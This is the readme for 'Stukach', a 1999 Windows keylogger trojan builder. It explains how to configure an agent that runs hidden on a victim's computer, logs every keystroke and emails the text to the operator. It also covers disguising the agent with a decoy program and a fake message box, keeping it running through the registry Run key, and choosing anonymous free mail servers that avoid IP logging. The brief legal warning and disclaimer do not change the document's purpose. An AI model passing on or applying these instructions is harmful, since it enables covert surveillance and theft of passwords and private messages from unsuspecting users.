
     STUKACH
     Copyright me, December 1999.

     Get latest version at:
     http://www.iskalka.com/stukach


Stukach is a tiny little programm, which can run hiddenly on some computer, keeping track of everything user types on the keyboard, and sending this information to you via e-mail. Of course, user never would know you are reading his e-mail and stuff, unless you would say him.

This software package consists of two parts: Stukach-Agent and Stukach-Station. To run the Station, execute the file "StukSt.exe". You will see the setup dialog with some simple, such as your -mail address, etc. After you specify them, click the "Create Trojan" button. Station would compile your trojan (using "agent.bin" file) and create output file on a desktop. Run it and enjoy.

Note: Accessing other people personal information without their permission is against the law! Violators wiil be prosecuted! See "Licence Agreement" section for more information.


***   BORING HELP STUFF

"Your e-mail address", "Your SMTP server" - Use this to configure Agent mail. If you are using some free mail system, this would sounds like "yourname@mailserver.com" for address and "smtp.mailserver.com" or "mail.mailserver.com" for server. You should read the server's documentation to find out their SMTP server exactly.

"Show message", "Title", "Body" - With this group of controls you can setup a message box that will popup after Agent's installation on the remote computer. Click an exclamation mark to test, how would your message box looks like.

"Run any EXE", "File to extract and start" - use this if you want to run some programm after Agent's installation. This file will be attached to your output file. When executed, this programm will display your message box (see "Show Message"), extract and start your EXE, and then install itself in the system.

"Create Trojan" button - Click here to write an output file with your setups saved. Stukach Station would open the "AGENT.BIN" file, write new defaults to it, attach your EXE, and save everything to file you specify ("RunMe.exe" by default).

"Advanced" button - Click it to setup the following:

"Value for run key" - Value for registry key to keep Agent's path and filename in "Software\ Microsoft\ Windows\ CurrentVersion\ Run". You can write whatever you want here, it does not matter at all. (Try "BlahBlahBlah").

"Value for storing text", "Value for number of lines", "Value for handle", "Value for counter" - all this does not matter at all. Type something (but something not very short to avoid conflicts with other data).

"Look for connection each" - How many seconds to wait between attempts to send mail. Agent will try to send mail periodically when in "pregnant" state.

"Send mail when have more than XXX lines of text" - How many lines of text to keep. After the limit has been reached, Agent will switch to the "pregnant" state.

"And at least once per day" - If checked, Agent will go in "pregnant" state on each computer startup. Use this if you want to get mail at least once per remote computer session (if it connects to internet during this session, of course).

"Registry path for data" - Path in registry to keep captured text and other data (see "Value for storing text" and other controls). Agent can NOT create a registry key, so you have to specify an existed (in any Win95) directory.

"Registry path for RUN" - By default, this value is "Software\ Microsoft\ Windows\ CurrentVersion\ Run". You can try to switch it to "...\RunServices" or other key of this group - but always test Agent first.

"Filename to copy agent into" - where to keep Agent's executable on the remote computer.

"File to extract the attachment to" - path to extract and run the attached EXE. Use any file in "Temp" directory.

"Header" - this is header for the mail you will get. Edit it to change subject, sender or receiver name and so on. Never forget to add a couple of newlines ("\n") at the end of this text.


***   AGENT UNINSTALLATION

Click Start, Run, and type "regedit" in the small textbox provided. Press Enter. In the tree control on your left choose "HKEY_LOCAL_MACHINE", then "SOFTWARE", then "Microsoft", then "Windows", then "CurrentVersion", then "Run". Find the "SysReq" value (if you didn't change it during the Stukach Station setup). Delete this value. Reboot.


***   FREE MAIL SERVERS

Stukach was tested with following free mail servers:

Web: mail.beer.com
Smtp server: mail.beer.com
Note: Best server on this page, free POP3 available.

Web: www.hotmail.com
Smtp server: mail.hotmail.com
Note: I recommend to avoid this server. (All your mail and personal info open to everybody). Also, it register and save your IP address. Currently, it requares JavaScript, so anonimizers and proxies theoretically can do not help.

Web: inbox.ru
Smtp server: smtp.inbox.ru
Note: Looks like extreemly slow. Russian language only.

Web: www.myownemail.com
Smtp server: mail.DOMAINYOUCHOOSE.com
Note: Not bad. This service gives you the choice of 200 different domains, so your SMTP server name depends of your domain name. I choose a domain "starmail.com" and my SMTP was "mail.starmail.com".

Web: windoms.sitek.net
Smtp server: windoms.sitek.net
Note: Not bad. Russian language only.

Web: www.tomcat.ru
Smtp server: pop3.tomcat.ru
Note: Good. Russian language only.


***   LICENCE AGREEMENT

YOU SHOULD READ CAREFULLY THE FOLLOWING TERMS AND CONDITIONS OF THIS LICENSE AGREEMENT IN ITS ENTIRETY BEFORE DOWNLOADING, INSTALLING OR USING THIS SOFTWARE. DO NOT DOWNLOAD, INSTALL OR USE THIS SOFTWARE UNLESS YOU AGREE TO BE BOUND BY THE DEFINITIONS, TERMS AND  CONDITIONS  OF THIS LICENSE AGREEMENT. ANY DOWNLOADING, INSTALLATION OR USE OF THIS SOFTWARE INDICATES YOUR ACCEPTANCE OF THE TERMS AND CONDITIONS OF THIS LICENSE AGREEMENT.

By installing and/or using this software on your computer you confirm the acceptance of all the terms of this license listed hereinafter. If you do not agree with any terms or conditions mentioned below, please discontinue to use this software by deleting its copies from your storage media.

You may not decompile, disassemble, otherwise reverse engineer or study the Program code, or any part of it, for any purpose, or publicize or distribute any registration code algorithms, information, or registration codes used by this Program without written permission of the Author. 

THIS PROGRAM IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. THE ENTIRE RISK OF THE USE OF THE PROGRAM IS ASSUMED BY YOU, AS THE USER OF THIS PROGRAM. THE AUTHOR WILL NOT BE LIABLE FOR ANY BUGS FOUND IN THE PROGRAM, OR ANY VIRUS INFECTED COPIES OF THE PROGRAM, AS WELL AS FOR ANY DAMAGE, LOSS OR UNGAINED PROFIT THAT TOOK PLACE AS THE RESULT OF THE USE OF THE PROGRAM. 

TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL THE AUTHOR OR ITS SUPPLIERS BE LIABLE FOR ANY SPECIAL, INCIDENTAL, INDIRECT, OR CONSEQUENTIAL DAMAGES WHATSOEVER (INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF BUSINESS PROFITS, BUSINESS INTERRUPTION, LOSS OF BUSINESS INFORMATION, OR ANY OTHER PECUNIARY LOSS) ARISING OUT OF THE USE OF OR INABILITY TO USE THE SOFTWARE PRODUCT, EVEN IF AUTHOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. BECAUSE SOME STATES AND JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES, THE ABOVE LIMITATION MAY NOT APPLY TO YOU.

AUTHOR IS NOT RESPONSIBLE FOR THE LEGAL OR ILLEGAL USAGE OF THIS SOFTWARE BY THE END-TIME USERS.


***  The End.
